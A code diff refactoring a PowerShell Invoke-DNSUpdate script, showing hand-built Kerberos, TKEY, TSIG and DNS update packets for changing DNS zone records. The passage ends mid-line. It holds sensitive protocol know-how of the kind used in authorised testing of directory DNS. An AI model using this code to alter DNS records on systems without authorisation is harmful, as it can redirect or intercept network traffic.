$KerberosAuthenticator.Add("CKSum_CUSec_Encoding",[Byte[]](0xa4,0x05,0x02,0x03)) + $KerberosAuthenticator.Add("CKSum_CUSec",(Get-KerberosMicrosecond)) + $KerberosAuthenticator.Add("CKSum_CTime_Encoding",[Byte[]](0xa5,0x11,0x18,0x0f)) + $KerberosAuthenticator.Add("CKSum_CTime",(Get-KerberosTimestampUTC)) + $KerberosAuthenticator.Add("CKSum_Subkey_Encoding",[Byte[]](0xa6) + $subkey_length4 + [Byte[]](0x30) + $subkey_length3) + $KerberosAuthenticator.Add("CKSum_Subkey_KeyType_Encoding",[Byte[]](0xa0,0x03,0x02,0x01)) + $KerberosAuthenticator.Add("CKSum_Subkey_KeyType",[Byte[]](0x12)) + $KerberosAuthenticator.Add("CKSum_Subkey_KeyValue_Encoding",[Byte[]](0xa1) + $subkey_length2 + [Byte[]](0x04) + $subkey_length) + $KerberosAuthenticator.Add("CKSum_Subkey_KeyValue",$SubKey) + $KerberosAuthenticator.Add("CKSum_SEQNumber_Encoding",[Byte[]](0xa7,0x06,0x02,0x04)) + $KerberosAuthenticator.Add("CKSum_SEQNumber",$SequenceNumber) + + return $KerberosAuthenticator } function Get-KerberosTimestampUTC @@ -690,9 +732,9 @@ function Invoke-DNSUpdate function Get-ASN1LengthArray { - param([Int]$length) + param([Int]$Length) - [Byte[]]$asn1 = [System.BitConverter]::GetBytes($length) + [Byte[]]$asn1 = [System.BitConverter]::GetBytes($Length) if($asn1[1] -eq 0) { @@ -708,9 +750,9 @@ function Invoke-DNSUpdate function Get-ASN1LengthArrayLong { - param([Int]$length) + param([Int]$Length) - [Byte[]]$asn1 = [System.BitConverter]::GetBytes($length) + [Byte[]]$asn1 = [System.BitConverter]::GetBytes($Length) if($asn1[1] -eq 0) { @@ -728,9 +770,9 @@ function Invoke-DNSUpdate function New-RandomByteArray { - param([Int]$length,[Int]$minimum=1,[Int]$maximum=255) + param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255) - [String]$random = [String](1..$length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $minimum -Maximum $maximum)}) + [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)}) [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} return $random @@ -738,9 +780,9 @@ function Invoke-DNSUpdate function New-DNSNameArray { - param([String]$name) + param([String]$Name) - $character_array = $name.ToCharArray() + $character_array = $Name.ToCharArray() [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'} if($index_array.Count -gt 0) @@ -752,84 +794,157 @@ function Invoke-DNSUpdate { $name_end = $index - $name_start [Byte[]]$name_array += $name_end - [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($name.Substring($name_start,$name_end)) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end)) $name_start = $index + 1 } - [Byte[]]$name_array += ($name.Length - $name_start) - [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($name.Substring($name_start)) + [Byte[]]$name_array += ($Name.Length - $name_start) + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) } else { - [Byte[]]$name_array = $name.Length - [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($name.Substring($name_start)) + [Byte[]]$name_array = $Name.Length + [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start)) } return $name_array } + + function New-PacketDNSQuery + { + param([String]$Name,[String]$Type) + + switch ($Type) + { + + 'A' + {[Byte[]]$type = 0x00,0x01} + + 'AAAA' + {[Byte[]]$type = 0x00,0x1c} + + 'CNAME' + {[Byte[]]$type = 0x00,0x05} + + 'MX' + {[Byte[]]$type = 0x00,0x0f} + + 'PTR' + {[Byte[]]$type = 0x00,0x0c} + + 'SRV' + {[Byte[]]$type = 0x00,0x21} + + 'TXT' + {[Byte[]]$type = 0x00,0x10} + + } + + [Byte[]]$name = (New-DNSNameArray $Name) + 0x00 + [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] + [Byte[]]$transaction_ID = New-RandomByteArray 2 + $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary + $DNSQuery.Add("Length",$length) + $DNSQuery.Add("TransactionID",$transaction_ID) + $DNSQuery.Add("Flags",[Byte[]](0x01,0x00)) + $DNSQuery.Add("Questions",[Byte[]](0x00,0x01)) + $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00)) + $DNSQuery.Add("Queries_Name",$name) + $DNSQuery.Add("Queries_Type",$type) + $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01)) + + return $DNSQuery + } function New-PacketDNSQueryTKEY { - param([Byte[]]$tkey_name,[Byte[]]$apreq) + param([Byte[]]$Name,[byte[]]$Type,[Byte[]]$APReq) - [Byte[]]$transaction_id = New-RandomByteArray 2 - $mechtoken_length = Get-ASN1LengthArrayLong ($apreq.Count) - $mechtoken_length2 = Get-ASN1LengthArrayLong ($apreq.Count + $mechtoken_length.Count + 1) - $innercontexttoken_length = Get-ASN1LengthArrayLong ($apreq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + 17) # 31 - $innercontexttoken_length2 = Get-ASN1LengthArrayLong ($apreq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + - $innercontexttoken_length.Count + 18) - $spnego_length = Get-ASN1LengthArrayLong ($apreq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + - $innercontexttoken_length.Count + $innercontexttoken_length2.Count + 27) - $grouped_length = $apreq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + $innercontexttoken_length.Count + - $innercontexttoken_length2.Count + $spnego_length.Count + 25 - $key_size = [System.BitConverter]::GetBytes($grouped_length + 3)[1,0] - $rd_length = [System.BitConverter]::GetBytes($grouped_length + $key_size.Count + 27)[1,0] - [Byte[]]$length = [System.BitConverter]::GetBytes($grouped_length + $tkey_name.Count + 57)[1,0] - $inception = [int64](([datetime]::UtcNow)-(get-date "1/1/1970")).TotalSeconds - $inception = [System.BitConverter]::GetBytes($inception) - $inception = $inception[3..0] - - $packet_DNSQueryTKEY = New-Object System.Collections.Specialized.OrderedDictionary - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Length",$length) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_TransactionID",$transaction_ID) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Flags",[Byte[]](0x00,0x00)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Questions",[Byte[]](0x00,0x01)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_AnswerRRs",[Byte[]](0x00,0x00)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_AuthorityRRs",[Byte[]](0x00,0x00)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_AdditionalRRs",[Byte[]](0x00,0x01)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_Name",$tkey_name) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_Type",[Byte[]](0x00,0xf9)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_Class",[Byte[]](0x00,0xff)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_Name",[Byte[]](0xc0,0x0c)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_Type",[Byte[]](0x00,0xf9)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_Class",[Byte[]](0x00,0xff)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_TTL",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RDLength",$rd_length) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_Algorithm",[Byte[]](0x08,0x67,0x73,0x73,0x2d,0x74,0x73,0x69,0x67,0x00)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_Inception",$inception) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_Expiration",$inception) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_Mode",[Byte[]](0x00,0x03)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_Error",[Byte[]](0x00,0x00)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_KeySize",$key_size) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_SPNego_Encoding",[Byte[]](0x60) + $spnego_length) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_SPNego_ThisMech",[Byte[]](0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_SPNego_InnerContextToken_Encoding",[Byte[]](0xa0) + $innercontexttoken_length2 + [Byte[]](0x30) + - $innercontexttoken_length) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechTypes_Encoding",[Byte[]](0xa0,0x0d,0x30,0x0b)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechType0",[Byte[]](0x06,0x09,0x2a,0x86,0x48,0x86,0xf7,0x12,0x01,0x02,0x02)) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechToken_Encoding",[Byte[]](0xa2) + $mechtoken_length2 + [Byte[]](0x04) + - $mechtoken_length) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechToken_Token",$apreq) - $packet_DNSQueryTKEY.Add("DNSQueryTKEY_Queries_AdditionalRecords_RData_OtherSize",[Byte[]](0x00,0x00)) - - return $packet_DNSQueryTKEY + [Byte[]]$transaction_ID = New-RandomByteArray 2 + + if($APReq) + { + $mechtoken_length = Get-ASN1LengthArrayLong ($APReq.Count) + $mechtoken_length2 = Get-ASN1LengthArrayLong ($APReq.Count + $mechtoken_length.Count + 1) + $innercontexttoken_length = Get-ASN1LengthArrayLong ($APReq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + 17) # 31 + $innercontexttoken_length2 = Get-ASN1LengthArrayLong ($APReq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + + $innercontexttoken_length.Count + 18) + $spnego_length = Get-ASN1LengthArrayLong ($APReq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + + $innercontexttoken_length.Count + $innercontexttoken_length2.Count + 27) + $grouped_length = $APReq.Count + $mechtoken_length.Count + $mechtoken_length2.Count + $innercontexttoken_length.Count + + $innercontexttoken_length2.Count + $spnego_length.Count + 25 + $key_size = [System.BitConverter]::GetBytes($grouped_length + 3)[1,0] + $RD_length = [System.BitConverter]::GetBytes($grouped_length + $key_size.Count + 27)[1,0] + $inception = [int64](([datetime]::UtcNow)-(Get-Date "1/1/1970")).TotalSeconds + $inception = [System.BitConverter]::GetBytes($inception) + $inception = $inception[3..0] + } + + if($APReq) + { + [Byte[]]$length = [System.BitConverter]::GetBytes($grouped_length + $Name.Count + 57)[1,0] + } + else + { + [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0] + } + + $DNSQueryTKEY = New-Object System.Collections.Specialized.OrderedDictionary + $DNSQueryTKEY.Add("Length",$length) + $DNSQueryTKEY.Add("TransactionID",$transaction_ID) + $DNSQueryTKEY.Add("Flags",[Byte[]](0x00,0x00)) + $DNSQueryTKEY.Add("Questions",[Byte[]](0x00,0x01)) + $DNSQueryTKEY.Add("AnswerRRs",[Byte[]](0x00,0x00)) + $DNSQueryTKEY.Add("AuthorityRRs",[Byte[]](0x00,0x00)) + + if($apreq) + { + $DNSQueryTKEY.Add("AdditionalRRs",[Byte[]](0x00,0x01)) + } + else + { + $DNSQueryTKEY.Add("AdditionalRRs",[Byte[]](0x00,0x00)) + } + + $DNSQueryTKEY.Add("Queries_Name",$Name) + $DNSQueryTKEY.Add("Queries_Type",$Type) + $DNSQueryTKEY.Add("Queries_Class",[Byte[]](0x00,0xff)) + + if($apreq) + { + $DNSQueryTKEY.Add("Queries_AdditionalRecords_Name",[Byte[]](0xc0,0x0c)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_Type",[Byte[]](0x00,0xf9)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_Class",[Byte[]](0x00,0xff)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_TTL",[Byte[]](0x00,0x00,0x00,0x00)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RDLength",$RD_length) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_Algorithm",[Byte[]](0x08,0x67,0x73,0x73,0x2d,0x74,0x73,0x69,0x67,0x00)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_Inception",$inception) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_Expiration",$inception) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_Mode",[Byte[]](0x00,0x03)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_Error",[Byte[]](0x00,0x00)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_KeySize",$key_size) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_SPNego_Encoding",[Byte[]](0x60) + $spnego_length) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_SPNego_ThisMech",[Byte[]](0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_Encoding",[Byte[]](0xa0) + $innercontexttoken_length2 + [Byte[]](0x30) + + $innercontexttoken_length) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechTypes_Encoding",[Byte[]](0xa0,0x0d,0x30,0x0b)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechType0",[Byte[]](0x06,0x09,0x2a,0x86,0x48,0x86,0xf7,0x12,0x01,0x02,0x02)) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechToken_Encoding",[Byte[]](0xa2) + $mechtoken_length2 + [Byte[]](0x04) + + $mechtoken_length) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_SPNego_InnerContextToken_MechToken_Token",$APReq) + $DNSQueryTKEY.Add("Queries_AdditionalRecords_RData_OtherSize",[Byte[]](0x00,0x00)) + } + + return $DNSQueryTKEY } - function New-PacketDNSUpdateTSIG + function New-PacketDNSUpdate { - param([Byte[]]$transaction_ID,[String]$zone,[String]$name,[String]$type,[Int]$TTL,[Int]$preference,[Int]$priority,[Int]$weight,[Int]$port,[String]$data,[Byte[]]$time_signed,[Byte[]]$tkey_name,[Byte[]]$MAC) + param([Byte[]]$TransactionID,[String]$Zone,[String]$Name,[String]$Type,[Int]$TTL,[Int]$Preference,[Int]$Priority,[Int]$Weight,[Int]$Port,[String]$Data,[Byte[]]$TimeSigned,[Byte[]]$TKeyname,[Byte[]]$MAC) - if($data) + if($Data) { $add = $true [Byte[]]$class = 0x00,0x01 @@ -840,20 +955,20 @@ function Invoke-DNSUpdate $TTL = 0 } - switch ($type) + switch ($Type) { 'A' { [Byte[]]$type = 0x00,0x01 - if($data -and [Bool]($data -as [System.Net.IPAddress])) + if($Data -and [Bool]($Data -as [System.Net.IPAddress])) { - [Byte[]]$data = ([System.Net.IPAddress][String]([System.Net.IPAddress]$data)).GetAddressBytes() + [Byte[]]$data = ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() } - elseif($data) + elseif($Data) { - [Byte[]]$data = [System.Text.Encoding]::UTF8.GetBytes($data) + [Byte[]]$data = [System.Text.Encoding]::UTF8.GetBytes($Data) } } @@ -862,13 +977,13 @@ function Invoke-DNSUpdate { [Byte[]]$type = 0x00,0x1c - if($data -and [Bool]($data -as [System.Net.IPAddress])) + if($Data -and [Bool]($Data -as [System.Net.IPAddress])) { - [Byte[]]$data = ([System.Net.IPAddress][String]([System.Net.IPAddress]$data)).GetAddressBytes() + [Byte[]]$data = ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes() } - elseif($data) + elseif($Data) { - [Byte[]]$data = [System.Text.Encoding]::UTF8.GetBytes($data) + [Byte[]]$data = [System.Text.Encoding]::UTF8.GetBytes($Data) } } @@ -877,13 +992,13 @@ function Invoke-DNSUpdate { [Byte[]]$type = 0x00,0x05 - if($data -and [Bool]($data -as [System.Net.IPAddress])) + if($Data -and [Bool]($Data -as [System.Net.IPAddress])) { - [Byte[]]$data = (New-DNSNameArray $data) + 0x00 + [Byte[]]$data = (New-DNSNameArray $Data) + 0x00 } - elseif($data) + elseif($Data) { - [Byte[]]$data = (New-DNSNameArray ($data -replace ('.' + $zone),'')) + 0xc0,0x0c + [Byte[]]$data = (New-DNSNameArray ($Data -replace ('.' + $Zone),'')) + 0xc0,0x0c } } @@ -893,19 +1008,19 @@ function Invoke-DNSUpdate $MX = $true [Byte[]]$type = 0x00,0x0f - if($data) + if($Data) { $extra_length = 2 - [Byte[]]$preference = [System.Bitconverter]::GetBytes($preference)[1,0] + [Byte[]]$preference = [System.Bitconverter]::GetBytes($Preference)[1,0] } - if($data -and [Bool]($data -as [System.Net.IPAddress])) + if($Data -and [Bool]($Data -as [System.Net.IPAddress])) { - [Byte[]]$data = (New-DNSNameArray $data) + 0x00 + [Byte[]]$data = (New-DNSNameArray $Data) + 0x00 } - elseif($data) + elseif($Data) { - [Byte[]]$data = (New-DNSNameArray ($data -replace ('.' + $zone),'')) + 0xc0,0x0c + [Byte[]]$data = (New-DNSNameArray ($Data -replace ('.' + $Zone),'')) + 0xc0,0x0c } } @@ -914,9 +1029,9 @@ function Invoke-DNSUpdate { [Byte[]]$type = 0x00,0x0c - if($data) + if($Data) { - [Byte[]]$data = (New-DNSNameArray $data) + 0x00 + [Byte[]]$data = (New-DNSNameArray $Data) + 0x00 } } @@ -926,13 +1041,13 @@ function Invoke-DNSUpdate $SRV = $true [Byte[]]$type = 0x00,0x21 - if($data) + if($Data) { - [Byte[]]$priority = [System.Bitconverter]::GetBytes($priority)[1,0] - [Byte[]]$weight = [System.Bitconverter]::GetBytes($weight)[1,0] - [Byte[]]$port = [System.Bitconverter]::GetBytes($port)[1,0] + [Byte[]]$priority = [System.Bitconverter]::GetBytes($Priority)[1,0] + [Byte[]]$weight = [System.Bitconverter]::GetBytes($Weight)[1,0] + [Byte[]]$port = [System.Bitconverter]::GetBytes($Port)[1,0] $extra_length = 6 - [Byte[]]$data = (New-DNSNameArray $data) + 0x00 + [Byte[]]$data = (New-DNSNameArray $Data) + 0x00 } } @@ -941,394 +1056,503 @@ function Invoke-DNSUpdate { $TXT = $true [Byte[]]$type = 0x00,0x10 - [Byte[]]$TXT_length = [System.BitConverter]::GetBytes($data.Length)[0] + [Byte[]]$TXT_length = [System.BitConverter]::GetBytes($Data.Length)[0] - if($data) + if($Data) { $extra_length = 1 - [Byte[]]$data = [System.Text.Encoding]::UTF8.GetBytes($data) + [Byte[]]$data = [System.Text.Encoding]::UTF8.GetBytes($Data) } } } - if($MX) + if($Name -eq $Zone) { [Byte[]]$name = 0xc0,0x0c } else { - [Byte[]]$name = (New-DNSNameArray ($name -replace ('.' + $zone),'')) + 0xc0,0x0c + [Byte[]]$name = (New-DNSNameArray ($Name -replace ('.' + $Zone),'')) + 0xc0,0x0c } - [Byte[]]$zone = (New-DNSNameArray $zone) + 0x00 + [Byte[]]$Zone = (New-DNSNameArray $Zone) + 0x00 [Byte[]]$TTL = [System.Bitconverter]::GetBytes($TTL)[3..0] [Byte[]]$data_length = [System.BitConverter]::GetBytes($data.Length + $extra_length)[1,0] - [Byte[]]$length = [System.BitConverter]::GetBytes($zone.Count + $name.Count + $data.Length + $tkey_name.Count + $MAC.Count + 62 + $extra_length)[1,0] - - $packet_DNSUpdateTSIG = New-Object System.Collections.Specialized.OrderedDictionary if($MAC) { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Length",$length) + [Byte[]]$length = [System.BitConverter]::GetBytes($Zone.Count + $name.Count + $data.Length + $TKeyname.Count + $MAC.Count + 62 + $extra_length)[1,0] + } + elseif(!$TKeyname) + { + [Byte[]]$length = [System.BitConverter]::GetBytes($Zone.Count + $name.Count + $data.Length + 26 + $extra_length)[1,0] } - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_TransactionID",$transaction_ID) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Flags",[Byte[]](0x28,0x00)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Zones",[Byte[]](0x00,0x01)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Prerequisites",[Byte[]](0x00,0x00)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates",[Byte[]](0x00,0x01)) + $DNSUpdate = New-Object System.Collections.Specialized.OrderedDictionary + + if(!$TKeyname -or $MAC) + { + $DNSUpdate.Add("Length",$length) + } + + $DNSUpdate.Add("TransactionID",$TransactionID) + $DNSUpdate.Add("Flags",[Byte[]](0x28,0x00)) + $DNSUpdate.Add("Zones",[Byte[]](0x00,0x01)) + $DNSUpdate.Add("Prerequisites",[Byte[]](0x00,0x00)) + $DNSUpdate.Add("Updates",[Byte[]](0x00,0x01)) if($MAC) { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRRs",[Byte[]](0x00,0x01)) + $DNSUpdate.Add("AdditionalRRs",[Byte[]](0x00,0x01)) } else { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditiionalRRs",[Byte[]](0x00,0x00)) + $DNSUpdate.Add("AdditiionalRRs",[Byte[]](0x00,0x00)) } - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Zone_Name",$zone) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Zone_Type",[Byte[]](0x00,0x06)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Zone_Class",[Byte[]](0x00,0x01)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_Name",$name) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_Type",$type) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_Class",$class) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_TTL",$TTL) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_DataLength",$data_length) + $DNSUpdate.Add("Zone_Name",$Zone) + $DNSUpdate.Add("Zone_Type",[Byte[]](0x00,0x06)) + $DNSUpdate.Add("Zone_Class",[Byte[]](0x00,0x01)) + $DNSUpdate.Add("Updates_Name",$name) + $DNSUpdate.Add("Updates_Type",$type) + $DNSUpdate.Add("Updates_Class",$class) + $DNSUpdate.Add("Updates_TTL",$TTL) + $DNSUpdate.Add("Updates_DataLength",$data_length) if($MX) { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_TXTLength",$preference) + $DNSUpdate.Add("Updates_TXTLength",$preference) } if($TXT -and $add) { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_TXTLength",$TXT_length) + $DNSUpdate.Add("Updates_TXTLength",$TXT_length) } if($SRV -and $add) { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_Priority",$priority) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_Weight",$weight) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_Port",$port) + $DNSUpdate.Add("Updates_Priority",$priority) + $DNSUpdate.Add("Updates_Weight",$weight) + $DNSUpdate.Add("Updates_Port",$port) } if($add) { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_Updates_Address",$data) + $DNSUpdate.Add("Updates_Address",$data) } - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_Name",$tkey_name) - - if($MAC) + if($TKeyname) { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_Type",[Byte[]](0x00,0xfa)) - } + $DNSUpdate.Add("AdditionalRecords_Name",$TKeyname) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_Class",[Byte[]](0x00,0xff)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_TTL",[Byte[]](0x00,0x00,0x00,0x00)) + if($MAC) + { + $DNSUpdate.Add("AdditionalRecords_Type",[Byte[]](0x00,0xfa)) + } - if($MAC) - { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_DataLength",[Byte[]](0x00,0x36)) - } + $DNSUpdate.Add("AdditionalRecords_Class",[Byte[]](0x00,0xff)) + $DNSUpdate.Add("AdditionalRecords_TTL",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_AlgorithmName",[Byte[]](0x08,0x67,0x73,0x73,0x2d,0x74,0x73,0x69,0x67,0x00)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_TimeSigned",$time_signed) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_Fudge",[Byte[]](0x01,0x2c)) + if($MAC) + { + $DNSUpdate.Add("AdditionalRecords_DataLength",[Byte[]](0x00,0x36)) + } - if($MAC) - { - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_MACSize",[Byte[]](0x00,0x1c)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_MAC",$MAC) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_OriginalID",$transaction_ID) - } + $DNSUpdate.Add("AdditionalRecords_AlgorithmName",[Byte[]](0x08,0x67,0x73,0x73,0x2d,0x74,0x73,0x69,0x67,0x00)) + $DNSUpdate.Add("AdditionalRecords_TimeSigned",$TimeSigned) + $DNSUpdate.Add("AdditionalRecords_Fudge",[Byte[]](0x01,0x2c)) + + if($MAC) + { + $DNSUpdate.Add("AdditionalRecords_MACSize",[Byte[]](0x00,0x1c)) + $DNSUpdate.Add("AdditionalRecords_MAC",$MAC) + $DNSUpdate.Add("AdditionalRecords_OriginalID",$TransactionID) + } - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_Error",[Byte[]](0x00,0x00)) - $packet_DNSUpdateTSIG.Add("DNSUpdateTSIG_AdditionalRecords_OtherLength",[Byte[]](0x00,0x00)) + $DNSUpdate.Add("AdditionalRecords_Error",[Byte[]](0x00,0x00)) + $DNSUpdate.Add("AdditionalRecords_OtherLength",[Byte[]](0x00,0x00)) + } - return $packet_DNSUpdateTSIG + return $DNSUpdate } function New-PacketDNSUpdateMAC { - param([Byte[]]$flags,[Byte[]]$sequence_number,[Byte[]]$checksum) + param([Byte[]]$Flags,[Byte[]]$SequenceNumber,[Byte[]]$Checksum) - $packet_DNSUpdateMAC = New-Object System.Collections.Specialized.OrderedDictionary - $packet_DNSUpdateMAC.Add("DNSUpdateMAC_TokenID",[Byte[]](0x04,0x04)) - $packet_DNSUpdateMAC.Add("DNSUpdateMAC_Flags",$flags) - $packet_DNSUpdateMAC.Add("DNSUpdateMAC_Filler",[Byte[]](0xff,0xff,0xff,0xff,0xff)) - $packet_DNSUpdateMAC.Add("DNSUpdateMAC_SequenceNumber",[Byte[]](0x00,0x00,0x00,0x00) + $sequence_number) + $DNSUpdateMAC = New-Object System.Collections.Specialized.OrderedDictionary + $DNSUpdateMAC.Add("DNSUpdateMAC_TokenID",[Byte[]](0x04,0x04)) + $DNSUpdateMAC.Add("DNSUpdateMAC_Flags",$Flags) + $DNSUpdateMAC.Add("DNSUpdateMAC_Filler",[Byte[]](0xff,0xff,0xff,0xff,0xff)) + $DNSUpdateMAC.Add("DNSUpdateMAC_SequenceNumber",[Byte[]](0x00,0x00,0x00,0x00) + $SequenceNumber) - if($checksum) + if($Checksum) { - $packet_DNSUpdateMAC.Add("DNSUpdateMAC_Checksum",$checksum) + $DNSUpdateMAC.Add("DNSUpdateMAC_Checksum",$Checksum) } - return $packet_DNSUpdateMAC + return $DNSUpdateMAC } - $tkey = "6" + ((0..9) | Get-Random -Count 2) + "-ms-7.1-" + ((0..9) | Get-Random -Count 4) + "." + ((0..9) | Get-Random -Count 8) + - "-" + ((0..9) | Get-Random -Count 4) + "-11e7-" + ((0..9) | Get-Random -Count 4) + "-000c296694e0" - $tkey = $tkey -replace " ","" - Write-Verbose "[+] TKEY name $tkey" - [Byte[]]$tkey_name = [System.Text.Encoding]::UTF8.GetBytes($tkey) - $tkey_name = [Byte[]]0x08 + $tkey_name + 0x00 - $tkey_name[9] = 0x06 - $tkey_name[16] = 0x24 + function Get-DNSUpdateResponseStatus + { + param([Byte[]]$DNSClientReceive) + + $DNS_response_flags = [System.BitConverter]::ToString($DNSClientReceive[4..5]) + $DNS_response_flags = $DNS_response_flags -replace "-","" + + switch ($DNS_response_flags) + { + 'A800' {$DNS_update_response_status = "[+] DNS update successful"} + 'A801' {$DNS_update_response_status = ("[-] 